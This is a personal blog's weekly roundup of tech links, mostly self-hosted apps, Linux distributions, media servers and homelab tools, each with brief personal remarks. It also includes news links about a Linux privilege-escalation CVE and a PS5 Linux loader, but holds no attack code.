Make Use Of: I replaced my Kindle with a Boox and got everything Amazon refuses to offer
- Boox

NERDS.xyz: Ditto wants to bring back the weird customizable internet people actually loved Ditto: “Your content. Your vibe. Your rules.”

❔ Miscellaneous

ADT camera access outside their service?
FreshRSS with FeedBurner & other kinds of feeds?
IT’s FOSS: This $85 PCB is Giving Old Google Home Mini Devices a Second Life
- Crowd Supply: MiciMike Home Mini Drop-In PCB
How-To Geek: 5 Bluetooth ESP32 projects for this weekend (May 15 - 17)
- Home Assistant Bluetooth proxies
- ESP32-based presence detection
- A Bluetooth system monitor for your PC
- ESP32 Bluetooth receiver or speaker
- 3D-printed Stream Deck alternative macropad
Make Use Of: Excel already has a built-in web scraper, this is what I use it for
Make Use Of: I tracked my life in Excel for 3 months—I’m never using a journaling app again
- OneDrive: Daily Journal 2026 - Updated
How-To Geek: 5 Pi Zero 2W projects you can do in a weekend
- A retro gaming console
- A DIY weather station
- A wireless print server
- A tiny home server
- Low power doesn’t mean useless
How-To Geek: 3 money-saving free, open-source apps to try this weekend (May 15-17)
- Handbrake
- Upscayl
- Ollama

selh.st: Self-Host Weekly (15 May 2026), by Ethan Sholly.

GitHub: V4bel / dirtyfrag
Bambu Lab Blog: Setting the record straight on Cloud Access and Community
- Jeff Geerling: Bambu Lab is abusing the open source social contract
GitHub: lahirumaramba / rocky: “Rocky: Your Own Personal Eridanian Buddy”
- Invidious (chocolatemoo53.com): I Built “Rocky” from Project Hail Mary using a Raspberry Pi and Local LLM
- YouTube: I Built “Rocky” from Project Hail Mary using a Raspberry Pi and Local LLM
The Verge: Homebridge 2.0 is here, and it speaks Matter: “The open-source Apple HomeKit bridge is adding Matter, allowing it to support Alexa, Google Home, Home Assistant — and robot vacuums.”
GitHub: FreshRSS / FreshRSS: “A free, self-hostable news aggregator…”
- I just started running this a few days ago, so I’m looking into the release notes.
- FreshRSS 1.29.0
GitHub: homarr-labs / homarr: “A modern and easy to use dashboard. 40+ integrations. 20K+ icons built in. Authentication out of the box. No YAML, drag and drop configuration.”
- Each time i see new releases for other home \ dashboard services, i like to take a look & see if i should start trying them out again.
- v1.61.0
GitHub: home-assistant / core: “🏡 Open source home automation that puts local control and privacy first.”
- 2026.5.0
GitHub: karakeep-app / karakeep: “A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search”
- 0.32.0
GitHub: edde746 / plezy: “Modern cross-platform Plex & Jellyfin client built with Flutter”
- Plezy: " A beautiful client for Plex & Jellyfin. Stream your media library with HDR, Dolby Vision, offline downloads, and a gorgeous experience across all your devices."
- 2.0.0
GitHub: oyeolamilekan/appshots: “A free, open-source tool to create stunning, high-converting screenshots for the Apple App Store and Google Play Store in minutes. Design professional app previews with an intuitive drag-and-drop editor.”
- AppShots Editor
Aviato: “All your videos, images, audio, and text. A self-hosted media server that handles it all. Extensible with plugins, webhooks, and API.”
- Just curious to see other options to Plex or Jellyfin.
GitHub: jonymaster / catalogIT: “A Web App to track Hardware and Software in an IT Team”
GitHub: adinhodovic / compass: “A landing page for your services, dashboards, and documents, discovered automatically from sources such as Docker, Kubernetes, and Tailscale.”
- Compass
GitHub: aicrafted / compote: “Compose Templater - UI for create, validate and manage docker compose based infrastructures”
- CompoTe: “Manage your self-hosted environments. Switch between cloud clusters, local development boxes, or home lab deployments.”
App Store: DimDash: “A native iPadOS/iOS kiosk app for Home Assistant, Grafana, Dashy, Homarr, Glance, Node-RED, Flame, and any dashboard URL. Built for wall panels that should stay useful without jailbreaks, MDM, or browser hacks.”
- Nick Renard: DimDash
GitHub: pablitofernandez / FamilyNido: “Self-hosted PWA for a single household — shared calendar, chores, meals, school agenda, health records and a family wall. .NET 10 + Angular 21. Pair-programmed with Claude Code Opus 4.7.”
GitHub: PyroghostX / ForgottenMovies: “App built to remind users about media they requested but never watched. Requires Plex, Tautulli and Seerr.”
GitHub: doctor-io / homeio: “Homeio is a self-hosted server manager with a desktop-style UI. It is designed as an alternative to other home server managers (CasaOS, Umbrel, Portainer), focused on a modern interface, realtime system visibility, and app lifecycle operations.”
GitHub: parkejunior / jellycc-cli: “A CLI to ensure Jellyfin Direct Play compatibility.”
- “A smart CLI that diagnoses, audits, repairs, standardizes, and optimizes your media to ensure Direct Play on Jellyfin.”
GitHub: open-noodle / gallery: “High performance self-hosted photo and video management solution.”
- Noodle Gallery: “Noodle Gallery is a self-hosted photo and video platform with AI-powered search, face recognition, shared family spaces, and cloud storage — all under your control.”
Patilla Forgejo: Piruetas: “A minimalist, self-hosted diary and journaling web app. https://piruet.app”
- Piruetas: “A minimalist journal. Beautiful, private, yours.”
GitHub: solyto / solyto: “Free, privacy-oriented, no bullshit. Just manage your stuff with ease.”
- “solyto is a free, private, all-in-one personal management app — covering your todos, contacts, calendar, notes, news, music and book library in one place, with one login, and one coherent interface. No annoying AI features, no tracking, no subscriptions, no bullshit. Use it on the web, install it as a PWA, or self-host it entirely on your own infrastructure. Built out of frustration with bloated tools, fragmented self-hosted stacks, and services that keep adding things you never asked for.”
- solyto
GitHub: 0xchasercat / flint: “Lightweight tool for managing linux virtual machines”
- “A single <11MB binary with a modern Web UI, CLI, and API for KVM.”
GitHub: nanocoai / nanoclaw: “A lightweight alternative to OpenClaw that runs in containers for security. Connects to WhatsApp, Telegram, Slack, Discord, Gmail and other messaging apps,, has memory, scheduled jobs, and runs directly on Anthropic’s Agents SDK”
- NanoClaw: “Your personal AI agent. Secure. Lightweight. Yours. The official website for NanoClaw, the secure personal AI agent. NanoClaw runs securely in containers, built to be understood and customized for your own needs.”
Invidious (nadeko.net): Lawrence Systems: Stop Putting Everything in Discord & Reddit: Use Forums Instead
- Invidious (chocolatemoo53.com: Stop Putting Everything in Discord & Reddit: Use Forums Instead
- YouTube: Stop Putting Everything in Discord & Reddit: Use Forums Instead
Invidious (nadeko.net): New Self-Hosted Apps You NEED to Try [April 2026]
- Invidious (chocolatemoo53.com: New Self-Hosted Apps You NEED to Try [April 2026]
- YouTube: [New Self-Hosted Apps You NEED to Try [April 2026]]
Invidious (nadeko.net): Dockhand: A Smarter, Safer Docker Manager
- Invidious (chocolatemoo53.com: Dockhand: A Smarter, Safer Docker Manager
- YouTube: Dockhand: A Smarter, Safer Docker Manager

w33k in g33k: May 01, 2026

Fri, 01 May 2026 17:00:00 -0400

🎮 Games

Engadget: The sequel to the iconic emulator ZSNES is called Super ZSNES, of course
Notebook Check: Modder releases PS5-Linux that turns the console into a fully functional Linux gaming PC
- GitHub: ps5-linux / ps5-linux-loader: “Linux payload implementing the HV exploit and a custom bootloader”
- I wouldn’t mod my PS5 now, but maybe a future project & i’m interested it just seeing how it’s done.
Windows Central: A modder got Halo: Combat Evolved running natively on Nintendo Switch without cloud streaming
GitHub: JRickey / libultraship: “Porting games to the PC”
- This is a PC port of Super Smash Bros., from the Nintendo 64.

🖥️🔐 IT Security

GitHub: dougburks / ohmypcap: “A standalone web application for analyzing PCAP files using Suricata”
Nerds.xyz: Copy Fail exploit lets 732 bytes hijack Linux systems and quietly grab root
- Xint.to: Copy Fail: 732 Bytes to Root on Every Major Linux Distributions
- Copy Fail: CVE-2026-31431 GitHub: theori-io/copy-fail-CVE-2026-31431

🐧 Linux

OhMyDebn: “OhMyDebn is a debonair Linux desktop for power users. It gives you the stability of the Debian distro, the ease of use of the Cinnamon desktop, and the power of AI, containers, and virtualization.”
BunsenLabs: “BunsenLabs Linux Carbon is a distribution offering a light-weight and easily customizable Openbox desktop. The project is a community continuation of CrunchBang Linux. The current release is derived from Debian 13 “Trixie”.”
- I remember running CrunchBang Linux back in college on my ASUS Eee PC, so seeing this as continuation of that, i wanted to look into it.
IT’s FOSS: 7 Features I Like in Ptyxis (The New Default Ubuntu Terminal)
- I dug old my old Surface Go to play with & saw i still had it running a very old version of Xubuntu. While i was first looking into upgrading it to the most recent Ubuntu-flavor release (before i thought of CrunchBang \ BunsenLabs), I was looking a bit into the new Ubuntu release & came across the posts about Ptyxis & wanted to take a look.
- Ubunlog: This is Ptyxis: the new GNOME terminal for modern Linux environments that will run Ubuntu 25.10.
Rockford Lhotka: Running Linux on My Surface Go
- Since it’s been a while since i set anything up with the Surface Go, I just wanted to double check documentation because i believe there was a custom kernel i needed to run for everything to be working properly. Even with this from 2025, will still be more up-to-date than what i might have saved.
https://nerds.xyz/2026/05/linux-lite-8-rc1/

Miscellaneous

IT’s FOSS: Good News! AI-first Warp Terminal is Now Open Source
- warp: Warp is now open-source
- GitHub: warpdotdev / warp: “Warp is an agentic development environment, born out of the terminal.”
Lifehacker: This App Lets You Use All Your AirPods’ Features on Any Android
- GitHub: kavishdevar / librepods: “AirPods liberated from Apple’s ecosystem.”
- I think i may have found this a little while ago on F-Droid, but maybe that was not as full-featured as this. Time to take a look.
GitHub: ckolos / humblebundle-downloader: “Download your Humble Bundle Library”
- I had recently purchased another book pack off of Humble Bundle & was trying to use the tool to mass download them all versus having to go one-by-one, but ran into a few issues.
- First… had to remind myself about Python virtual environments (Python venv: How To Create, Activate, Deactivate, And Delete). - python3 -m venv venv - source venv/bin/activate - And specifically for the Humble Bundle downloader: pip install -e
  - With Ubuntu 26.04 adding a “Projects” folder, of course this was the one “server” where i had moved my “Development” folder into “Projects”, just because. That caused a problem because the virtual environment was hardcoded to use the path that included “Development”.
  - After figuring that part out, received an error when trying to use the tool. I believe it’s that my session cookie is expired, so just have to give it another try later.

selh.st: Self-Host Weekly (1 May 2026), by Ethan Sholly.

Copy Fail: I have this listed above as well, but since it’s pretty significant, it can’t hurt to have it added a second time.
- NIST: CVE-2026-31431
GitHub: grimmory-tools / grimmory/: docs(governance): define the project’s governance structure and decision-making framework#1000
- Really just making note for myself to check on my container & see if i loaded all my books or was still in the middle of anything. I thought the post would be an interesting read as well.
GitHub: Hound-Media-Server / hound: “All-in-one Media Server—Find, watch, track, and manage your media”
- Interesting, but since it uses P2P sources, i don’t want to have to be concerned with copyright violations. As much as i want to get off Plex to Jellyfin, the former at least has the feature of showing you where something is available, if you don’t have it on your own server.
- “Watch and Track Movies and TV Shows. Self-hosted version of Plex/Stremio + Trakt, Simkl, etc. Hound aims to be a complete ecosystem of watching, tracking, downloading, and archiving media. Hound is a fully-featured media server, like Jellyfin or Plex, but with the additional ability to stream content through P2P (torrent) or HTTP/Debrid sources. With Hound, you get the benefits of fully controlling your media like Jellyfin, but can also stream instantly like Stremio. It’s the best of both worlds.”
GitHub: dmunozv04 / iSponsorBlockTV: “SponsorBlock client for all YouTube TV clients.”
- SponsorBlock: “SponsorBlock is an open-source crowdsourced browser extension and open API for skipping sponsor segments in YouTube videos. Users submit when a sponsor happens from the extension, and the extension automatically skips sponsors it knows about using a privacy preserving query system. It also supports skipping other categories, such as intros, outros and reminders to subscribe, and skipping to the point with highlight.”
- I don’t really use YouTube anymore (& no longer have a YouTube TV subscription), but wanted to look into it.
Download Notepad++ for Mac: “Notepad++ for Mac is the free, native macOS build of the popular open-source code editor — the same Scintilla editing engine, the same syntax highlighting for 80+ languages, the same macro recording and plugin system, rewritten on top of native macOS Cocoa APIs so it feels at home on your Mac. Built as a Universal Binary for Apple Silicon (M1, M2, M3, M4, M5) and Intel Macs. No Wine, no Rosetta, no emulation needed. Every release is code-signed with an Apple Developer ID certificate and notarized by Apple. For the official Windows version of Notepad++, visit notepad-plus-plus.org.”
- I mainly stick with VS Code or VSCodium on my devices now, but maybe I’ll play around with Notepad++ again.
BookStack: BookStack Has Migrated From GitHub to Codeberg
Bitwarden Community Forums: Bitwarden Statement on Checkmarx Supply Chain Incident
SimpleX: SimpleX Channels, SimpleX Network Consortium and Community Crowdfunding — to Preserve Freedom of Speech
GitHub: Lissy93/dashy: Release 4.0.0
- Dashy
- “🚀 A self-hostable personal dashboard built for you. Includes status-checking, widgets, themes, icon packs, a UI editor and tons more!”
- I don’t think i still ahve this running anymore, but i wanted to look again to see if i should go back to it.
GitHub: Freika / dawarich: “Your favorite self-hostable alternative to Google Timeline (Google Location History)”
- Dawarich: “Your Timeline, Forever. Google killed browser Timeline and is limiting data retention. Import your entire location history into Dawarich in minutes — private, encrypted, yours. No ads. No data selling.”
- I’m currently using Reitti, but wanted to see if i’d like this better.
GitHub: simplex-chat / simplex-chat: v6.5.0
- “SimpleX - the first messaging network operating without user identifiers of any kind - 100% private by design! iOS, Android and desktop apps 📱!”
- I know I’ve had the app saved or installed for a while, but i don’t think i ever really took advantage of it. Maybe with this v.6.5.0 release I’ll give it another look.
GitHub: nandyalu / trailarr: “Trailarr is a Docker application to download and manage trailers for your Radarr and Sonarr libraries.”
- I actually have the trailers turned off on my Plex install, i think due to performance or some kind of issues they caused… so maybe this isn’t worth looking into.
GitHub: zulip / zulip: “Zulip server and web application. Open-source team chat that helps teams stay productive and focused”
- Zulip: “Organized chat for distributed teams”
- This would probably be overkill for anything to self-host, but i wanted to look into it. Maybe as a local Discord replacement? All i really used Discord for was local network alerts, so not like i need channels \ users available to use it.
GitHub: thehijacker / codexa: “A self-hosted EPUB web reader with multi-user support, OPDS browsing, KOReader sync, and a built-in dictionary lookup — all in a single lightweight Node.js container.”
- I do have to revisit my whole eBook setup & see if I’m going to try Calibre again, stay with Grimmory, try something like this… it will take a little bit before i settle that.
GitHub: qiaeru / couplecards: “A self-hosted web app that lets couples draw activity cards to break the routine and spice up their daily lives.”
GitHub: hymns / hostiqo: “Simple Server Management”
- Hostiqo: “Hostiqo orchestrates webhooks, servers, and deployment pipelines for you. Provision infrastructure, enforce security, and roll out updates with a single command.”
- This looks to have a ton of features, so i’m going to look it over & see if it would be helpful.
GitHub: floatpane / matcha: “A beautiful and functional email client for your terminal, built with Go and the charming Bubble Tea TUI library. Never leave your command line to check your inbox or send an email again!”
- Matcha: “Matcha is a modern TUI email client for people who live in the shell. Vim keybindings, PGP, IMAP multi-account, markdown composing, visual-mode batch ops, and a CLI that speaks your language.”
- It looked like it could be fun to try out.
GitHub: hhftechnology / Dock-Dploy: “A web-based tool for building, managing, and converting Docker Compose files, configuration files, and schedulers.”
- Dock-Dploy: “A powerful web-based tool for building and managing Docker Compose files, configurations, and schedulers. All in one place, completely free.”
- I haven’t neeeded to deal with Compose files or anything recently (with services providing the sample one, it’s not hard to just edit as needed), but i wanted to see if it could be helpful.
GitHub: denho / faved: “Free open-source bookmark manager with customisable nested tags. Super fast and lightweight. All data is stored locally.”
- Faved: “A bookmark manager that combines powerful tagging, instant search, and a clean interface that doesn’t break as your library grows.”
- I’m currently using Karakeep for “read-it-later” purposes, & wanted to see if this would be a replacement for that, or really just a pretty bookmark manager.
GitHub: grimmory-tools / grimmory: “Grimmory is an independent community fork of Booklore.”
- Grimmory: “A modern way to organize, access, and self-host your digital library.”
- As mentioned above, i need to revisit my eBook situation & see where i left off on configuring this.
GitHub: html2rss / html2rss-web: “🕸 Generates RSS feeds of any website & serves to the web! Automatic scraping. Ready to use configs. Write your own.”
- I didn’t have anything in mind for this, more just wanted to save it if i needed it in the future.
Codeberg: endurain-project / endurain: " Endurain is a self-hosted fitness tracking service designed to give users full control over their data and hosting environment https://docs.endurain.com/"
- I think i started up another fitness tracker-type app but haven’t gone far with it, so i wanted to compare to this one.

w33k in g33k: April 24, 2026

Fri, 24 Apr 2026 17:00:00 -0400

🤖 Artificial Intelligence \ LLM’s

Mozilla Thunderbolt: “The Open-Source, Cross-Platform, Extensible AI Client”

🎮 Games

AtariAge: Atari Gamestation Go - Custom Firmware / Product Enhancement

Media

JellyFrame: “Built with absolute precision. JellyFrame provides a complete extension and theming framework for Jellyfin — replacing limitations with community-driven mods, themes, and server-side scripts, all managed from your dashboard.”
GitHub: foldergram / foldergram: “Self-hosted folder-based Instagram-style photo and video gallery app.”
- Foldergram: “Local-first photo and video gallery. Point it at your folders, browse everything through a fast feed-style interface. No cloud, no accounts — just your files and SQLite.”
chibisafe “is a beautiful and performant vault to save all your files in the cloud. A modern and self-hosted take on file uploading services that can handle anything you throw at it thanks to it’s robust and fast API, chunked uploads support and more.”
GitHub: Ashim: I think the name of this project changed to SnapOtter?
- GitHub: snapotter-hq / SnapOtter: “A Self Hosted Image Manipulator - 45+ tools, local AI, and pipelines in a single Docker container. No cloud, no telemetry. Your images never leave your machine.”

Security

CrowdSec Manager: “Web and mobile interface for managing CrowdSec — decisions, alerts, scenarios, hub, logs, backups, and Traefik integration.”

❔ Miscellaneous

SunFounder: Pironman 5 Pro Max Mini PC Case with 4.3" Touch Screen for Raspberry Pi 5, OpenClaw AI Agent, Dual NVMe RAID 0/1 NAS, Camera, Mic, Audio, M.2 Hailo8, LLMs ChatGPT/Gemini (RPI5 Not Included)
- I like that this has the little screen on the side, not that i have an aimmediate use for it, but i’m definitely interested when it will be back in stock. I have another version of the Pironman 5 (maybe this one SunFounder Pironman 5-MAX: Raspberry Pi 5 Case with Dual NVMe SSD & AI Support?), so this might be an upgrade for that.
Qarote: “Full RabbitMQ monitoring in 2 minutes. No Prometheus. No Grafana. Enter your URL — full queue monitoring in under 2 minutes.”
rockchip-linux / rkdeveloptool: Tool needed for custom firmware on the ATARI Gamestation Go.

selh.st: Self-Host Weekly (10 April 2026), by Ethan Sholly.

Infisical: “All-in-one platform to securely manage application secrets, certificates, SSH keys, and privileged access across classic and AI infrastructure.”
Przemek Mroczek: Why I Open-Sourced My Hardened *arr Stack (and What Most Compose Files Get Wrong)
GitHub: immich-app / immich v2.7.0
- Here are some of the features of that latest update:
  - Remove from album (asset viewer)
  - Move to locked folder (folder page)
  - Editor shortcuts
  - Create a new face on-the-fly in the face tag editor
  - Resolve duplicates
  - Helmet configuration
  - Version check infrastructure
  - Notable fix: live photo and video download in Safari
  - Notable fix: escape HTML in the Panorama Photo Viewer
GitHub: immich-power-tools / immich-power-tools: v0.21.0
- Here is the changelog: Comparing v0.20.1 to v0.21.0
GitHub: fronalabs / frona “Frona is a personal AI assistant. You create autonomous agents, give them tools, and talk to them through a chat interface. Agents act on their own. They browse the web, run code, develop applications, search the internet, make phone calls, and delegate work to each other. You give them a task and they figure out how to get it done.”
GitHub: hunter-read / grimoire: “A self-hostable organizer for your your TTRPG content and campaigns”
GitHub: Jellyfin-PG / JellyFrame
- JellyFrame: “Built with absolute precision. JellyFrame provides a complete extension and theming framework for Jellyfin — replacing limitations with community-driven mods, themes, and server-side scripts, all managed from your dashboard.”
GitHub: rothdennis / links-as-code: “Self-hosted link collection in a simple YAML file”
GitHub: kkodecs / livrarr: “Self-hosted ebook and audiobook library manager. Built for the arr ecosystem — finds, grabs, and organizes your books the way Sonarr does for TV.”
GitHub: OneMana-Soft / OneCamp-fe: “OneCamp: self-hosted all-in-one workspace (chat, tasks, video calls, docs, calendar & AI)”
GitHub: getqarote / Qarote: “A Modern RabbitMQ Monitoring Tool”
- Qarote: “The easiest way to monitor your RabbitMQ servers. Qarote provides a clean and intuitive interface to monitor, analyze, and manage your RabbitMQ servers effortlessly.”
GitHub: ashim-hq / ashim: “A Self Hosted Image Manipulator - 45+ tools, local AI, and pipelines in a single Docker container. No cloud, no telemetry. Your images never leave your machine.”
- ashimA Self Hosted Image Manipulator
GitHub: raffomania / ties: “🪢Federated website aggregator. 🔗 A federated network to bookmark, organize, share and discover good web pages.”
GitHub: outlook84 / yet-another-rclone-dashboard: “Modern Web Dashboard for Rclone. Modern Web Dashboard for rclone rcd (Rclone v1.72.0 or later recommended).”
GitHub: hhftechnology / crowdsec_manager: “A web-based and mobile management interface and dashboard for CrowdSec security stack with Pangolin integration and multi proxy support- caddy, NPM, etc. This project replaces the bash script with a modern, user-friendly ShadcnUI built with Go and React.”
- CrowdSec Manager 2.1.0: “Manage CrowdSec, Traefik integration, decisions, scenarios, logs, backups, and updates from a single web interface.”
GitHub: foldergram / foldergram: “Self-hosted folder-based Instagram-style photo and video gallery app.”
- Foldergram: “Local-first photo and video gallery. Point it at your folders, browse everything through a fast feed-style interface. No cloud, no accounts — just your files and SQLite.”
Codeberg: nwithan8 / plex-prerolls: “Schedule Plex Pre-Roll listings”
Chibisafe: “chibisafe is a beautiful and performant vault to save all your files in the cloud. A modern and self-hosted take on file uploading services that can handle anything you throw at it thanks to it’s robust and fast API, chunked uploads support and more.”
YouTube: Private Searching at Home: SearXNG Installation & Setup
- Invidious (chocolatemoo53): Private Searching at Home: SearXNG Installation & Setup
YouTube: The Open Source Software I’ve stopped using - 2026 edition.
- Invidious (chocolatemoo53): The Open Source Software I’ve stopped using - 2026 edition.
YouTube: My homelab will never be the same after AI
- Invidious (chocolatemoo53): My homelab will never be the same after AI

selh.st: Self-Host Weekly (17 April 2026), by Ethan Sholly.

GitHub: alexkouzel / cinerr: “Media file manager for self-hosters. See what’s in your library, clean it up, keep it organized.”
GitHub: gregluffy / HomeLabInfo: “HomeLabInfo is a modern, self-hosted network discovery and visualization suite designed for homelab enthusiasts.”
GitHub: AlexRosbach / LanLens: “LanLens continuously scans your local network, identifies every device by MAC address, and gives you a clean dark-themed web UI to manage, document, and connect to them — all in a single Docker container.”
GitHub: h4ckf0r0day / obscura: “The headless browser for AI agents and web scraping”
GitHub: pauljoda / Obscura: “Self host media server, Stash alternative, supports Stash scrapers and hash databases”
GitHub: MrModest / reisenotiz: “Offline-first travel notes for tracking trips, flights, accommodations, and travel documents”
GitHub: ulsklyc / oikos: “Self-hosted family planner - tasks, calendars, shopping, meals, budget. Your data, your server.”
GitHub: calcom / cal.diy: “Scheduling infrastructure for absolutely everyone.”
- Cal.diy Self-Hosting Documentation
- Cal.com: Cal.com is going closed source. Here’s why.
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
GitHub: liviro / boob-o-clock: “Self-hosted dark-mode baby tracker for the infant days & nights”
GitHub: whoogle-search/releases/tag/v1.2.4
GitHub: the-booklore / booklore
- v2.2.2

selfh.st: Self-Host Weekly (13 March 2026), by Ethan Sholly.

Raspberry Pi: A security update for Raspberry Pi OS
- “From this release onwards, passwordless sudo is disabled by default. If you use sudo for administrator-level access, you will be prompted to enter the current user’s password. In the terminal, the password prompt will appear as soon as you issue a sudo command. If you enter the correct password, the command will proceed as normal; if you enter an incorrect password, the command will be refused.”
GitHub: liviro / boob-o-clock: “Self-hosted dark-mode baby tracker for the infant days & nights”
GitHub: fabienmillet / WiiFin: “Jellyfin Client for Wii”
- WiiFin
phoronix: Linux 7.0 Ready For Release With Many Exciting Changes
- Intel Transactional Synchronization Extensions (TSX) now defaults to “auto” mode on Intel TSX-capable CPUs without any known TSX security issues, which will be able to help with out-of-the-box performance compared to the prior off-by-default mode.
- Some nice performance optimizations seen on AMD EPYC, thanks in part to scheduler scalability enhancements, memory management performance optimizations, and other Linux 7.0 kernel optimizations..
- Initial hardware enablement for some upcoming AMD Radeon graphics hardware.
- Continued enablement work on Intel Crescent Island and Nova Lake graphics support.
- Autonomous self-healing capabilities for XFS.
- Improved EXT4 write performance for concurrent direct I/O writes.
- Standardized generic I/O error reporting for the Linux kernel.
- A nice UDP network performance boost thanks to inlining a function.
- Continued upstreaming work around Qualcomm Snapdragon X2 Elite SoC and laptop support.
- Rust 1.95 preparations and other Rust code improvements.
- New Kconfig options make it easier to replace the Tux logo with a logo of your choice for displaying during the kernel boot process.
The Verge: The FCC just saved Netgear from its router ban for no obvious reason
- “The FCC has just granted Netgear a conditional approval to import its future consumer routers, cable modems, and cable gateways into the US through October 1st, 2027 — even though the company builds those devices in Asia and has not announced any plan to bring manufacturing to the United States.”
- “We asked Netgear if it has voluntarily improved its security in any way to help satisfy the FCC; we have not yet received a response.”
- So, it sounds like Netgear can’t really be trusted if this “administration” is exempting them from the ban…
Frederik Bærentsen: FrederikBaerentsen / BrickTracker: “A web application for organizing and tracking LEGO sets, parts, and minifigures.”
GitHub: dedicatedcode / reitti: “Reitti is a comprehensive personal location tracking and analysis application that helps you understand your movement patterns and significant places. The name “Reitti” comes from Finnish, meaning “route” or “path”.”
- v4.0.0
GitHub: alexkouzel / cinerr: “Media file manager for self-hosters. See what’s in your library, clean it up, keep it organized.”
GitHub: Skyfay / DBackup: “A self-hosted database backup automation tool for MySQL, PostgreSQL, MongoDB & more. Backup to S3, FTP, or Local Storage. Features cron scheduling, notifications, and easy restores via a modern Web UI.”
- DBackup: “Database Backup Automation. Self-hosted solution for automating database backups with encryption, compression, and smart retention policies.”
GitHub: ENTERPILOT / GoModel: “AI gateway written in Go. Lightweight unified OpenAI-compatible API for OpenAI, Anthropic, Gemini, Groq, xAI & Ollama. LiteLLM alternative with observability, guardrails, streaming, costs and usage tracking.”
- GoModel: “AI Gateway for Tracking, Decoupling, Debugging your AI Usage”
GitHub: AlexRosbach / LanLens: “LanLens continuously scans your local network, identifies every device by MAC address, and gives you a clean dark-themed web UI to manage, document, and connect to them — all in a single Docker container.”
GitHub: h4ckf0r0day / obscura: “The headless browser for AI agents and web scraping”
GitHub: pauljoda / Obscura: “Self host media server, Stash alternative, supports Stash scrapers and hash databases”
GitHub: jessielw / Reclaimerr: “Automatically reclaim space in your media library using customizable rules. Integrates with Jellyfin, Plex, and Emby (any or all of them) to analyze and manage your content. Functions similarly to Seerr (in reverse), providing efficient media cleanup and organization”
GitHub: MrModest / reisenotiz: “Offline-first travel notes for tracking trips, flights, accommodations, and travel documents”
GitHub: JudoChinX / rangarr: “Rangarr automates and staggers media searches across your Radarr, Sonarr, and Lidarr instances.”
GitHub: calcom / cal.diy: “Scheduling infrastructure for absolutely everyone.”
selfh.st: Optimal Plex Settings for Privacy-Conscious Users
- Marketing Emails: “Opt out of the platform’s various marketing e-mails using the link below. Deselect individual publications or select Unsubscribe from ALL to prevent any future non-administrative e-mails from being delivered to your inbox.”
  - https://www.plex.tv/email-preferences/
- Ad Partners: “Plex doesn’t allow users to opt out of the ads served while streaming its own free offerings, but it does provide options to control whether user data can be sold to third-parties or used to serve personalized ads. Follow the link below and uncheck the first blue box to opt out of the sale of your personal data, then check All No in the second blue box to opt out of targeted advertising.”
  - https://www.plex.tv/vendors-us/
- Optional Playback Data: “Plex collects technical information about the content users stream from personal servers. Click the link below and expand the section labeled You have the right to limit what activity data is sent from your Plex Media Server. Uncheck the box next to Send playback data to Plex to opt out. Note: Due to my CMS’s outbound link tagging, you may need to manually copy and paste the link below in your browser to navigate to the correct menu.”
  - https://www.plex.tv/about/privacy-legal/privacy-preferences/#opd
Transmute: “Transmute is an open-source, self-hosted file converter that handles images, video, audio, data, documents, and more; all on your own hardware.”
YouTube: Stop Using Google. Build THIS Instead!
- Invidious (chocolatemoo53): Stop Using Google. Build THIS Instead!
YouTube: This Nextcloud Alternative is INSANELY Fast — OpenCloud on TrueNAS
- Invidious (chocolatemoo53): This Nextcloud Alternative is INSANELY Fast — OpenCloud on TrueNAS
YouTube: I Built My Own Offsite 3-2-1 Backup System
- Invidious (chocolatemoo53): I Built My Own Offsite 3-2-1 Backup System

selh.st: Self-Host Weekly (24 April 2026), by Ethan Sholly.

FoxxMD Blog: Renovate + Komodo - Updating at Scale in a Large Homelab
GitHub: tess1o / geopulse: “A self-hosted, privacy-first location timeline platform: an open-source alternative to Google Timeline with automatic trip detection, Immich integration, and rich analytics.”
- GeoPulse documentation: “A self-hosted location tracking and analysis platform”
GitHub: ghostfolio / ghostfolio: “Open Source Wealth Management Software. Angular + NestJS + Prisma + Nx + TypeScript 🤍”
- Ghostfolio: “Manage your wealth like a boss. Ghostfolio is a privacy-first, open source dashboard for your personal finances. Break down your asset allocation, know your net worth and make solid, data-driven investment decisions.”
- 3.0.0
GitHub: afairgiant / MediKeep: “A lightweight, self-hosted application for managing your personal medical information. Keep your health records organized and accessible while maintaining complete control over your data privacy.”
GitHub: open-webui / open-webui: “User-friendly AI Interface (Supports Ollama, OpenAI API, …)”
- Open WebUI: “Run AI on your own terms. Connect any model, extend with code, protect what matters—without compromise.”
- v0.9.0
GitHub: timothepoznanski / poznote: “Poznote is a personal note-taking and documentation platform.”
- Poznote: “Poznote is a personal note-taking and documentation platform.”
- 6.0.0
GitHub: scanopy / scanopy: “Network diagrams that update themselves”
- Scanopy: “Never maintain another network diagram. Create a living model of your infrastructure. Built for modern teams and agents.”
- v0.16.0
- I tried this out before, but wasn’t as smooth \ easy as i was hoping. But with a new update, i thought i could look at it again.
GitHub: borgbase / vykar: “Fast, encrypted, deduplicated backups in Rust — with friendly YAML config, a desktop GUI, and support for S3, custom REST and SFTP storage.”
- Vykar Backup Documentation: “Vykar is a fast, encrypted, deduplicated backup tool written in Rust. It’s centered around a simple YAML config format and includes a desktop GUI and webDAV server to browse snapshots. More about design goals.”
GitHub: maxjb-xyz / blackbox: “The Forensic Journal for your Infrastructure. Written in Go for maximum impact with minimal footprint.”
GitHub: TechSquidTV / Cliparr: “Create clips from media on your personal media server”
GitHub: MrSuttonmann / flightjar: “A jar for your flights: live map, JSONL logs, and a WebSocket API on top of any BEAST feed (readsb, dump1090, ultrafeeder)”
GitHub: araneite / fulgurite: “A secure PHP web UI for managing Restic backups, repositories, schedules, restores, secrets, SSH keys, logs, and notifications from a browser, with bilingual documentation and a self-hosted workflow.”
GitHub: bytestrix / InfraCanvas: “Live Docker & Kubernetes infrastructure visualization — containers, pods, volumes, and networks in one visual map. No VPN, no inbound ports.”
GitHub: krelltunez / lifeGLANCE: “An interactive zoomable timeline app”
- lifeGLANCE: “Your life, at a glance.”
GitHub: Cawlumm / lyftr: “Self-hosted fitness tracker. Log workouts, track nutrition, and monitor progress. Docker deployment, mobile-friendly.”
GitHub: Moonfin-Client / tvOS: “Moonfin tvOS is a native SwiftUI Apple TV client for Jellyfin and Emby users who want a modern, customizable 10-foot experience with smooth playback and controller-first navigation.”
- Moonfin
GitHub: hankscafe / omnibus: “Omnibus - A self-hosted comic book and manga manager. Automate downloads, sync rich metadata, and read your collection from anywhere. Your Universe. Organized.”
